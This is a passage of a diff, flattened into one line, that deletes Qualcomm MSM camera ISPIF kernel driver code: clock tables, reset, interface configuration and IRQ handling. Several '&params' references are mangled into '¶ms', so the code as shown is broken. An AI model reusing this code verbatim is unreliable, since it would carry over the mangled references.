ispif_8626_reset_clk_info[] = { - {"ispif_ahb_clk", NO_SET_RATE}, - {"camss_top_ahb_clk", NO_SET_RATE}, - {"csi0_ahb_clk", NO_SET_RATE}, - {"csi0_src_clk", NO_SET_RATE}, - {"csi0_phy_clk", NO_SET_RATE}, - {"csi0_clk", NO_SET_RATE}, - {"csi0_pix_clk", NO_SET_RATE}, - {"csi0_rdi_clk", NO_SET_RATE}, - {"csi1_ahb_clk", NO_SET_RATE}, - {"csi1_src_clk", NO_SET_RATE}, - {"csi1_phy_clk", NO_SET_RATE}, - {"csi1_clk", NO_SET_RATE}, - {"csi1_pix_clk", NO_SET_RATE}, - {"csi1_rdi_clk", NO_SET_RATE}, - {"camss_vfe_vfe_clk", NO_SET_RATE}, - {"camss_csi_vfe_clk", NO_SET_RATE}, -}; - -static struct msm_cam_clk_info ispif_8974_ahb_clk_info[ISPIF_CLK_INFO_MAX]; - -static struct msm_cam_clk_info ispif_8974_reset_clk_info[] = { - {"csi0_src_clk", INIT_RATE}, - {"csi0_clk", NO_SET_RATE}, - {"csi0_pix_clk", NO_SET_RATE}, - {"csi0_rdi_clk", NO_SET_RATE}, - {"csi1_src_clk", INIT_RATE}, - {"csi1_clk", NO_SET_RATE}, - {"csi1_pix_clk", NO_SET_RATE}, - {"csi1_rdi_clk", NO_SET_RATE}, - {"csi2_src_clk", INIT_RATE}, - {"csi2_clk", NO_SET_RATE}, - {"csi2_pix_clk", NO_SET_RATE}, - {"csi2_rdi_clk", NO_SET_RATE}, - {"csi3_src_clk", INIT_RATE}, - {"csi3_clk", NO_SET_RATE}, - {"csi3_pix_clk", NO_SET_RATE}, - {"csi3_rdi_clk", NO_SET_RATE}, - {"vfe0_clk_src", INIT_RATE}, - {"camss_vfe_vfe0_clk", NO_SET_RATE}, - {"camss_csi_vfe0_clk", NO_SET_RATE}, - {"vfe1_clk_src", INIT_RATE}, - {"camss_vfe_vfe1_clk", NO_SET_RATE}, - {"camss_csi_vfe1_clk", NO_SET_RATE}, -}; - -static int msm_ispif_reset_hw(struct ispif_device *ispif) -{ - int rc = 0; - long timeout = 0; - struct clk *reset_clk[ARRAY_SIZE(ispif_8974_reset_clk_info)]; - struct clk *reset_clk1[ARRAY_SIZE(ispif_8626_reset_clk_info)]; - ispif->clk_idx = 0; - - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8974_reset_clk_info, reset_clk, - ARRAY_SIZE(ispif_8974_reset_clk_info), 1); - if (rc < 0) { - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8626_reset_clk_info, reset_clk1, - ARRAY_SIZE(ispif_8626_reset_clk_info), 1); - if (rc < 0) { - pr_err("%s: cannot enable clock, error = %d", - __func__, rc); - } else { - /* This is set when device is 8x26 */ - ispif->clk_idx = 2; - } - } else { - /* This is set when device is 8974 */ - ispif->clk_idx = 1; - } - - init_completion(&ispif->reset_complete[VFE0]); - if (ispif->hw_num_isps > 1) - init_completion(&ispif->reset_complete[VFE1]); - - /* initiate reset of ISPIF */ - msm_camera_io_w(ISPIF_RST_CMD_MASK, - ispif->base + ISPIF_RST_CMD_ADDR); - if (ispif->hw_num_isps > 1) - msm_camera_io_w(ISPIF_RST_CMD_1_MASK, - ispif->base + ISPIF_RST_CMD_1_ADDR); - - timeout = wait_for_completion_timeout( - &ispif->reset_complete[VFE0], msecs_to_jiffies(500)); - CDBG("%s: VFE0 done\n", __func__); - - if (timeout <= 0) { - pr_err("%s: VFE0 reset wait timeout\n", __func__); - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8974_reset_clk_info, reset_clk, - ARRAY_SIZE(ispif_8974_reset_clk_info), 0); - if (rc < 0) { - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8626_reset_clk_info, reset_clk1, - ARRAY_SIZE(ispif_8626_reset_clk_info), 0); - if (rc < 0) - pr_err("%s: VFE0 reset wait timeout\n", - __func__); - } - return -ETIMEDOUT; - } - - if (ispif->hw_num_isps > 1) { - timeout = wait_for_completion_timeout( - &ispif->reset_complete[VFE1], - msecs_to_jiffies(500)); - CDBG("%s: VFE1 done\n", __func__); - if (timeout <= 0) { - pr_err("%s: VFE1 reset wait timeout\n", __func__); - msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8974_reset_clk_info, reset_clk, - ARRAY_SIZE(ispif_8974_reset_clk_info), 0); - return -ETIMEDOUT; - } - } - - if (ispif->clk_idx == 1) { - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8974_reset_clk_info, reset_clk, - ARRAY_SIZE(ispif_8974_reset_clk_info), 0); - if (rc < 0) { - pr_err("%s: cannot disable clock, error = %d", - __func__, rc); - } - } - - if (ispif->clk_idx == 2) { - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8626_reset_clk_info, reset_clk1, - ARRAY_SIZE(ispif_8626_reset_clk_info), 0); - if (rc < 0) { - pr_err("%s: cannot disable clock, error = %d", - __func__, rc); - } - } - - return rc; -} - -int msm_ispif_get_ahb_clk_info(struct ispif_device *ispif_dev, - struct platform_device *pdev) -{ - uint32_t count; - int i, rc; - uint32_t rates[ISPIF_CLK_INFO_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - - CDBG("count = %d\n", count); - if (count == 0) { - pr_err("no clocks found in device tree, count=%d", count); - return 0; - } - - count = ISPIF_AHB_CLK_INFO; - if (count > ISPIF_CLK_INFO_MAX) { - pr_err("invalid count=%d, max is %d\n", count, - ISPIF_CLK_INFO_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(ispif_8974_ahb_clk_info[i].clk_name)); - CDBG("clock-names[%d] = %s\n", - i, ispif_8974_ahb_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - ispif_8974_ahb_clk_info[i].clk_rate = - (rates[i] == 0) ? -1 : rates[i]; - CDBG("clk_rate[%d] = %ld\n", i, - ispif_8974_ahb_clk_info[i].clk_rate); - } - ispif_dev->num_clk = count; - return 0; -} - -static int msm_ispif_clk_ahb_enable(struct ispif_device *ispif, int enable) -{ - int rc = 0; - - if (ispif->csid_version < CSID_VERSION_V30) { - /* Older ISPIF versiond don't need ahb clokc */ - return 0; - } - - rc = msm_ispif_get_ahb_clk_info(ispif, ispif->pdev); - if (rc < 0) { - pr_err("%s: msm_isp_get_clk_info() failed", __func__); - return -EFAULT; - } - - rc = msm_cam_clk_enable(&ispif->pdev->dev, - ispif_8974_ahb_clk_info, ispif->ahb_clk, - ispif->num_clk, enable); - if (rc < 0) { - pr_err("%s: cannot enable clock, error = %d", - __func__, rc); - } - - return rc; -} - -static int msm_ispif_reset(struct ispif_device *ispif) -{ - int rc = 0; - int i; - - BUG_ON(!ispif); - - memset(ispif->sof_count, 0, sizeof(ispif->sof_count)); - for (i = 0; i < ispif->vfe_info.num_vfe; i++) { - - msm_camera_io_w(1 << PIX0_LINE_BUF_EN_BIT, - ispif->base + ISPIF_VFE_m_CTRL_0(i)); - msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_0(i)); - msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_1(i)); - msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_IRQ_MASK_2(i)); - msm_camera_io_w(0xFFFFFFFF, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_0(i)); - msm_camera_io_w(0xFFFFFFFF, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_1(i)); - msm_camera_io_w(0xFFFFFFFF, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_2(i)); - - msm_camera_io_w(0, ispif->base + ISPIF_VFE_m_INPUT_SEL(i)); - - msm_camera_io_w(ISPIF_STOP_INTF_IMMEDIATELY, - ispif->base + ISPIF_VFE_m_INTF_CMD_0(i)); - msm_camera_io_w(ISPIF_STOP_INTF_IMMEDIATELY, - ispif->base + ISPIF_VFE_m_INTF_CMD_1(i)); - pr_debug("%s: base %lx", __func__, (unsigned long)ispif->base); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_PIX_INTF_n_CID_MASK(i, 0)); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_PIX_INTF_n_CID_MASK(i, 1)); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 0)); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 1)); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_RDI_INTF_n_CID_MASK(i, 2)); - - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_PIX_INTF_n_CROP(i, 0)); - msm_camera_io_w(0, ispif->base + - ISPIF_VFE_m_PIX_INTF_n_CROP(i, 1)); - } - - msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + - ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); - - return rc; -} - -static int msm_ispif_subdev_g_chip_ident(struct v4l2_subdev *sd, - struct v4l2_dbg_chip_ident *chip) -{ - BUG_ON(!chip); - chip->ident = V4L2_IDENT_ISPIF; - chip->revision = 0; - return 0; -} - -static void msm_ispif_sel_csid_core(struct ispif_device *ispif, - uint8_t intftype, uint8_t csid, uint8_t vfe_intf) -{ - uint32_t data; - - BUG_ON(!ispif); - - if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return; - } - - data = msm_camera_io_r(ispif->base + ISPIF_VFE_m_INPUT_SEL(vfe_intf)); - switch (intftype) { - case PIX0: - data &= ~(BIT(1) | BIT(0)); - data |= csid; - break; - case RDI0: - data &= ~(BIT(5) | BIT(4)); - data |= (csid << 4); - break; - case PIX1: - data &= ~(BIT(9) | BIT(8)); - data |= (csid << 8); - break; - case RDI1: - data &= ~(BIT(13) | BIT(12)); - data |= (csid << 12); - break; - case RDI2: - data &= ~(BIT(21) | BIT(20)); - data |= (csid << 20); - break; - } - - msm_camera_io_w_mb(data, ispif->base + - ISPIF_VFE_m_INPUT_SEL(vfe_intf)); -} - -static void msm_ispif_enable_crop(struct ispif_device *ispif, - uint8_t intftype, uint8_t vfe_intf, uint16_t start_pixel, - uint16_t end_pixel) -{ - uint32_t data; - BUG_ON(!ispif); - - if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return; - } - - data = msm_camera_io_r(ispif->base + ISPIF_VFE_m_CTRL_0(vfe_intf)); - data |= (1 << (intftype + 7)); - if (intftype == PIX0) - data |= 1 << PIX0_LINE_BUF_EN_BIT; - msm_camera_io_w(data, - ispif->base + ISPIF_VFE_m_CTRL_0(vfe_intf)); - - if (intftype == PIX0) - msm_camera_io_w_mb(start_pixel | (end_pixel << 16), - ispif->base + ISPIF_VFE_m_PIX_INTF_n_CROP(vfe_intf, 0)); - else if (intftype == PIX1) - msm_camera_io_w_mb(start_pixel | (end_pixel << 16), - ispif->base + ISPIF_VFE_m_PIX_INTF_n_CROP(vfe_intf, 1)); - else { - pr_err("%s: invalid intftype=%d\n", __func__, intftype); - BUG_ON(1); - return; - } -} - -static void msm_ispif_enable_intf_cids(struct ispif_device *ispif, - uint8_t intftype, uint16_t cid_mask, uint8_t vfe_intf, uint8_t enable) -{ - uint32_t intf_addr, data; - - BUG_ON(!ispif); - - if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return; - } - - switch (intftype) { - case PIX0: - intf_addr = ISPIF_VFE_m_PIX_INTF_n_CID_MASK(vfe_intf, 0); - break; - case RDI0: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 0); - break; - case PIX1: - intf_addr = ISPIF_VFE_m_PIX_INTF_n_CID_MASK(vfe_intf, 1); - break; - case RDI1: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 1); - break; - case RDI2: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_CID_MASK(vfe_intf, 2); - break; - default: - pr_err("%s: invalid intftype=%d\n", __func__, intftype); - BUG_ON(1); - return; - } - - data = msm_camera_io_r(ispif->base + intf_addr); - if (enable) - data |= cid_mask; - else - data &= ~cid_mask; - msm_camera_io_w_mb(data, ispif->base + intf_addr); -} - -static int msm_ispif_validate_intf_status(struct ispif_device *ispif, - uint8_t intftype, uint8_t vfe_intf) -{ - int rc = 0; - uint32_t data = 0; - - BUG_ON(!ispif); - - if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return -EINVAL; - } - - switch (intftype) { - case PIX0: - data = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 0)); - break; - case RDI0: - data = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 0)); - break; - case PIX1: - data = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 1)); - break; - case RDI1: - data = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 1)); - break; - case RDI2: - data = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 2)); - break; - } - if ((data & 0xf) != 0xf) - rc = -EBUSY; - return rc; -} - -static void msm_ispif_select_clk_mux(struct ispif_device *ispif, - uint8_t intftype, uint8_t csid, uint8_t vfe_intf) -{ - uint32_t data = 0; - - switch (intftype) { - case PIX0: - data = msm_camera_io_r(ispif->clk_mux_base); - data &= ~(0xf << (vfe_intf * 8)); - data |= (csid << (vfe_intf * 8)); - msm_camera_io_w(data, ispif->clk_mux_base); - break; - - case RDI0: - data = msm_camera_io_r(ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - data &= ~(0xf << (vfe_intf * 12)); - data |= (csid << (vfe_intf * 12)); - msm_camera_io_w(data, ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - break; - - case PIX1: - data = msm_camera_io_r(ispif->clk_mux_base); - data &= ~(0xf0 << (vfe_intf * 8)); - data |= (csid << (4 + (vfe_intf * 8))); - msm_camera_io_w(data, ispif->clk_mux_base); - break; - - case RDI1: - data = msm_camera_io_r(ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - data &= ~(0xf << (4 + (vfe_intf * 12))); - data |= (csid << (4 + (vfe_intf * 12))); - msm_camera_io_w(data, ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - break; - - case RDI2: - data = msm_camera_io_r(ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - data &= ~(0xf << (8 + (vfe_intf * 12))); - data |= (csid << (8 + (vfe_intf * 12))); - msm_camera_io_w(data, ispif->clk_mux_base + - ISPIF_RDI_CLK_MUX_SEL_ADDR); - break; - } - CDBG("%s intftype %d data %x\n", __func__, intftype, data); - mb(); - return; -} - -static uint16_t msm_ispif_get_cids_mask_from_cfg( - struct msm_ispif_params_entry *entry) -{ - int i; - uint16_t cids_mask = 0; - - BUG_ON(!entry); - - for (i = 0; i < entry->num_cids; i++) - cids_mask |= (1 << entry->cids[i]); - - return cids_mask; -} - -static int msm_ispif_config(struct ispif_device *ispif, - struct msm_ispif_param_data *params) -{ - int rc = 0, i = 0; - uint16_t cid_mask; - enum msm_ispif_intftype intftype; - enum msm_ispif_vfe_intf vfe_intf; - - BUG_ON(!ispif); - BUG_ON(!params); - - if (ispif->ispif_state != ISPIF_POWER_UP) { - pr_err("%s: ispif invalid state %d\n", __func__, - ispif->ispif_state); - rc = -EPERM; - return rc; - } - if (params->num > MAX_PARAM_ENTRIES) { - pr_err("%s: invalid param entries %d\n", __func__, - params->num); - rc = -EINVAL; - return rc; - } - - for (i = 0; i < params->num; i++) { - vfe_intf = params->entries[i].vfe_intf; - if (!msm_ispif_is_intf_valid(ispif->csid_version, - vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return -EINVAL; - } - msm_camera_io_w(0x0, ispif->base + - ISPIF_VFE_m_IRQ_MASK_0(vfe_intf)); - msm_camera_io_w(0x0, ispif->base + - ISPIF_VFE_m_IRQ_MASK_1(vfe_intf)); - msm_camera_io_w_mb(0x0, ispif->base + - ISPIF_VFE_m_IRQ_MASK_2(vfe_intf)); - } - - for (i = 0; i < params->num; i++) { - intftype = params->entries[i].intftype; - - vfe_intf = params->entries[i].vfe_intf; - - CDBG("%s intftype %x, vfe_intf %d, csid %d\n", __func__, - intftype, vfe_intf, params->entries[i].csid); - - if ((intftype >= INTF_MAX) || - (vfe_intf >= ispif->vfe_info.num_vfe) || - (ispif->csid_version <= CSID_VERSION_V22 && - (vfe_intf > VFE0))) { - pr_err("%s: VFEID %d and CSID version %d mismatch\n", - __func__, vfe_intf, ispif->csid_version); - return -EINVAL; - } - - if (ispif->csid_version >= CSID_VERSION_V30) - msm_ispif_select_clk_mux(ispif, intftype, - params->entries[i].csid, vfe_intf); - - rc = msm_ispif_validate_intf_status(ispif, intftype, vfe_intf); - if (rc) { - pr_err("%s:validate_intf_status failed, rc = %d\n", - __func__, rc); - return rc; - } - - msm_ispif_sel_csid_core(ispif, intftype, - params->entries[i].csid, vfe_intf); - cid_mask = msm_ispif_get_cids_mask_from_cfg( - ¶ms->entries[i]); - msm_ispif_enable_intf_cids(ispif, intftype, - cid_mask, vfe_intf, 1); - if (params->entries[i].crop_enable) - msm_ispif_enable_crop(ispif, intftype, vfe_intf, - params->entries[i].crop_start_pixel, - params->entries[i].crop_end_pixel); - } - - for (vfe_intf = 0; vfe_intf < 2; vfe_intf++) { - msm_camera_io_w(ISPIF_IRQ_STATUS_MASK, ispif->base + - ISPIF_VFE_m_IRQ_MASK_0(vfe_intf)); - - msm_camera_io_w(ISPIF_IRQ_STATUS_MASK, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_0(vfe_intf)); - - msm_camera_io_w(ISPIF_IRQ_STATUS_1_MASK, ispif->base + - ISPIF_VFE_m_IRQ_MASK_1(vfe_intf)); - - msm_camera_io_w(ISPIF_IRQ_STATUS_1_MASK, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_1(vfe_intf)); - - msm_camera_io_w(ISPIF_IRQ_STATUS_2_MASK, ispif->base + - ISPIF_VFE_m_IRQ_MASK_2(vfe_intf)); - - msm_camera_io_w(ISPIF_IRQ_STATUS_2_MASK, ispif->base + - ISPIF_VFE_m_IRQ_CLEAR_2(vfe_intf)); - } - - msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + - ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); - - return rc; -} - -static void msm_ispif_intf_cmd(struct ispif_device *ispif, uint32_t cmd_bits, - struct msm_ispif_param_data *params) -{ - uint8_t vc; - int i, k; - enum msm_ispif_intftype intf_type; - enum msm_ispif_cid cid; - enum msm_ispif_vfe_intf vfe_intf; - - BUG_ON(!ispif); - BUG_ON(!params); - - for (i = 0; i < params->num; i++) { - vfe_intf = params->entries[i].vfe_intf; - if (!msm_ispif_is_intf_valid(ispif->csid_version, vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - return; - } - if (params->entries[i].num_cids > MAX_CID_CH) { - pr_err("%s: out of range of cid_num %d\n", - __func__, params->entries[i].num_cids); - return; - } - } - - for (i = 0; i < params->num; i++) { - intf_type = params->entries[i].intftype; - vfe_intf = params->entries[i].vfe_intf; - for (k = 0; k < params->entries[i].num_cids; k++) { - cid = params->entries[i].cids[k]; - vc = cid / 4; - if (intf_type == RDI2) { - /* zero out two bits */ - ispif->applied_intf_cmd[vfe_intf].intf_cmd1 &= - ~(0x3 << (vc * 2 + 8)); - /* set cmd bits */ - ispif->applied_intf_cmd[vfe_intf].intf_cmd1 |= - (cmd_bits << (vc * 2 + 8)); - } else { - /* zero 2 bits */ - ispif->applied_intf_cmd[vfe_intf].intf_cmd &= - ~(0x3 << (vc * 2 + intf_type * 8)); - /* set cmd bits */ - ispif->applied_intf_cmd[vfe_intf].intf_cmd |= - (cmd_bits << (vc * 2 + intf_type * 8)); - } - } - - /* cmd for PIX0, PIX1, RDI0, RDI1 */ - if (ispif->applied_intf_cmd[vfe_intf].intf_cmd != 0xFFFFFFFF) - msm_camera_io_w_mb( - ispif->applied_intf_cmd[vfe_intf].intf_cmd, - ispif->base + ISPIF_VFE_m_INTF_CMD_0(vfe_intf)); - - /* cmd for RDI2 */ - if (ispif->applied_intf_cmd[vfe_intf].intf_cmd1 != 0xFFFFFFFF) - msm_camera_io_w_mb( - ispif->applied_intf_cmd[vfe_intf].intf_cmd1, - ispif->base + ISPIF_VFE_m_INTF_CMD_1(vfe_intf)); - } -} - -static int msm_ispif_stop_immediately(struct ispif_device *ispif, - struct msm_ispif_param_data *params) -{ - int i, rc = 0; - uint16_t cid_mask = 0; - - BUG_ON(!ispif); - BUG_ON(!params); - - if (ispif->ispif_state != ISPIF_POWER_UP) { - pr_err("%s: ispif invalid state %d\n", __func__, - ispif->ispif_state); - rc = -EPERM; - return rc; - } - - if (params->num > MAX_PARAM_ENTRIES) { - pr_err("%s: invalid param entries %d\n", __func__, - params->num); - rc = -EINVAL; - return rc; - } - msm_ispif_intf_cmd(ispif, ISPIF_INTF_CMD_DISABLE_IMMEDIATELY, params); - - /* after stop the interface we need to unmask the CID enable bits */ - for (i = 0; i < params->num; i++) { - cid_mask = msm_ispif_get_cids_mask_from_cfg( - ¶ms->entries[i]); - msm_ispif_enable_intf_cids(ispif, params->entries[i].intftype, - cid_mask, params->entries[i].vfe_intf, 0); - } - - return rc; -} - -static int msm_ispif_start_frame_boundary(struct ispif_device *ispif, - struct msm_ispif_param_data *params) -{ - int rc = 0; - - if (ispif->ispif_state != ISPIF_POWER_UP) { - pr_err("%s: ispif invalid state %d\n", __func__, - ispif->ispif_state); - rc = -EPERM; - return rc; - } - if (params->num > MAX_PARAM_ENTRIES) { - pr_err("%s: invalid param entries %d\n", __func__, - params->num); - rc = -EINVAL; - return rc; - } - - msm_ispif_intf_cmd(ispif, ISPIF_INTF_CMD_ENABLE_FRAME_BOUNDARY, params); - - return rc; -} - -static int msm_ispif_stop_frame_boundary(struct ispif_device *ispif, - struct msm_ispif_param_data *params) -{ - int i, rc = 0; - uint16_t cid_mask = 0; - uint32_t intf_addr; - enum msm_ispif_vfe_intf vfe_intf; - uint32_t stop_flag = 0; - - BUG_ON(!ispif); - BUG_ON(!params); - - - if (ispif->ispif_state != ISPIF_POWER_UP) { - pr_err("%s: ispif invalid state %d\n", __func__, - ispif->ispif_state); - rc = -EPERM; - return rc; - } - - if (params->num > MAX_PARAM_ENTRIES) { - pr_err("%s: invalid param entries %d\n", __func__, - params->num); - rc = -EINVAL; - return rc; - } - - for (i = 0; i < params->num; i++) { - if (!msm_ispif_is_intf_valid(ispif->csid_version, - params->entries[i].vfe_intf)) { - pr_err("%s: invalid interface type\n", __func__); - rc = -EINVAL; - goto end; - } - } - - msm_ispif_intf_cmd(ispif, - ISPIF_INTF_CMD_DISABLE_FRAME_BOUNDARY, params); - - for (i = 0; i < params->num; i++) { - cid_mask = - msm_ispif_get_cids_mask_from_cfg(¶ms->entries[i]); - vfe_intf = params->entries[i].vfe_intf; - - switch (params->entries[i].intftype) { - case PIX0: - intf_addr = ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 0); - break; - case RDI0: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 0); - break; - case PIX1: - intf_addr = ISPIF_VFE_m_PIX_INTF_n_STATUS(vfe_intf, 1); - break; - case RDI1: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 1); - break; - case RDI2: - intf_addr = ISPIF_VFE_m_RDI_INTF_n_STATUS(vfe_intf, 2); - break; - default: - pr_err("%s: invalid intftype=%d\n", __func__, - params->entries[i].intftype); - rc = -EPERM; - goto end; - } - - rc = readl_poll_timeout(ispif->base + intf_addr, stop_flag, - (stop_flag & 0xF) == 0xF, - ISPIF_TIMEOUT_SLEEP_US, - ISPIF_TIMEOUT_ALL_US); - if (rc < 0) - goto end; - - /* disable CIDs in CID_MASK register */ - msm_ispif_enable_intf_cids(ispif, params->entries[i].intftype, - cid_mask, vfe_intf, 0); - } - -end: - return rc; -} - -static void ispif_process_irq(struct ispif_device *ispif, - struct ispif_irq_status *out, enum msm_ispif_vfe_intf vfe_id) -{ - BUG_ON(!ispif); - BUG_ON(!out); - - if (out[vfe_id].ispifIrqStatus0 & - ISPIF_IRQ_STATUS_PIX_SOF_MASK) { - ispif->sof_count[vfe_id].sof_cnt[PIX0]++; - } - if (out[vfe_id].ispifIrqStatus0 & - ISPIF_IRQ_STATUS_RDI0_SOF_MASK) { - ispif->sof_count[vfe_id].sof_cnt[RDI0]++; - } - if (out[vfe_id].ispifIrqStatus1 & - ISPIF_IRQ_STATUS_RDI1_SOF_MASK) { - ispif->sof_count[vfe_id].sof_cnt[RDI1]++; - } - if (out[vfe_id].ispifIrqStatus2 & - ISPIF_IRQ_STATUS_RDI2_SOF_MASK) { - ispif->sof_count[vfe_id].sof_cnt[RDI2]++; - } -} - -static inline void msm_ispif_read_irq_status(struct ispif_irq_status *out, - void *data) -{ - struct ispif_device *ispif = (struct ispif_device *)data; - - BUG_ON(!ispif); - BUG_ON(!out); - - out[VFE0].ispifIrqStatus0 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_0(VFE0)); - msm_camera_io_w(out[VFE0].ispifIrqStatus0, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_0(VFE0)); - - out[VFE0].ispifIrqStatus1 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_1(VFE0)); - msm_camera_io_w(out[VFE0].ispifIrqStatus1, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_1(VFE0)); - - out[VFE0].ispifIrqStatus2 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_2(VFE0)); - msm_camera_io_w_mb(out[VFE0].ispifIrqStatus2, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_2(VFE0)); - - if (ispif->vfe_info.num_vfe > 1) { - out[VFE1].ispifIrqStatus0 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_0(VFE1)); - msm_camera_io_w(out[VFE1].ispifIrqStatus0, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_0(VFE1)); - - out[VFE1].ispifIrqStatus1 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_1(VFE1)); - msm_camera_io_w(out[VFE1].ispifIrqStatus1, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_1(VFE1)); - - out[VFE1].ispifIrqStatus2 = msm_camera_io_r(ispif->base + - ISPIF_VFE_m_IRQ_STATUS_2(VFE1)); - msm_camera_io_w_mb(out[VFE1].ispifIrqStatus2, - ispif->base + ISPIF_VFE_m_IRQ_CLEAR_2(VFE1)); - } - msm_camera_io_w_mb(ISPIF_IRQ_GLOBAL_CLEAR_CMD, ispif->base + - ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR); - - if (out[VFE0].ispifIrqStatus0 & ISPIF_IRQ_STATUS_MASK) { - if (out[VFE0].ispifIrqStatus0 & RESET_DONE_IRQ) - complete(&ispif->reset_complete[VFE0]); - - if (out[VFE0].ispifIrqStatus0 & PIX_INTF_0_OVERFLOW_IRQ) - pr_err("%s: VFE0 pix0 overflow.\n", __func__); - - if (out[VFE0].ispifIrqStatus0 & RAW_INTF_0_OVERFLOW_IRQ) - pr_err("%s: VFE0 rdi0 overflow.\n", __func__); - - if (out[VFE0].ispifIrqStatus1 & RAW_INTF_1_OVERFLOW_IRQ) - pr_err("%s: VFE0 rdi1 overflow.\n", __func__); - - if (out[VFE0].ispifIrqStatus2 & RAW_INTF_2_OVERFLOW_IRQ) - pr_err("%s: VFE0 rdi2 overflow.\n", __func__); - - ispif_process_irq(ispif, out, VFE0); - } - if (ispif->hw_num_isps > 1) { - if (out[VFE1].ispifIrqStatus0 & RESET_DONE_IRQ) - complete(&ispif->reset_complete[VFE1]); - - if (out[VFE1].ispifIrqStatus0 & PIX_INTF_0_OVERFLOW_IRQ) - pr_err("%s: VFE1 pix0 overflow.\n", __func__); - - if (out[VFE1].ispifIrqStatus0 & RAW_INTF_0_OVERFLOW_IRQ) - pr_err("%s: VFE1 rdi0 overflow.\n", __func__); - - if (out[VFE1].ispifIrqStatus1 & RAW_INTF_1_OVERFLOW_IRQ) - pr_err("%s: VFE1 rdi1 overflow.\n", __func__); - - if (out[VFE1].ispifIrqStatus2 & RAW_INTF_2_OVERFLOW_IRQ) - pr_err("%s: VFE1 rdi2 overflow.\n", __func__); - - ispif_process_irq(ispif, out, VFE1); - } -} - -static irqreturn_t msm_io_ispif_irq(int irq_num, void *data) -{ - struct ispif_irq_status irq[VFE_MAX]; - - msm_ispif_read_irq_status(irq, data); - return IRQ_HANDLED; -} - -static int msm_ispif_set_vfe_info(struct ispif_device *ispif, - struct msm_ispif_vfe_info *vfe_info) -{ - memcpy(&ispif->vfe_info, vfe_info, sizeof(struct msm_ispif_vfe_info)); - - return 0; -} - -static int msm_ispif_init(struct ispif_device *ispif, - uint32_t csid_version) 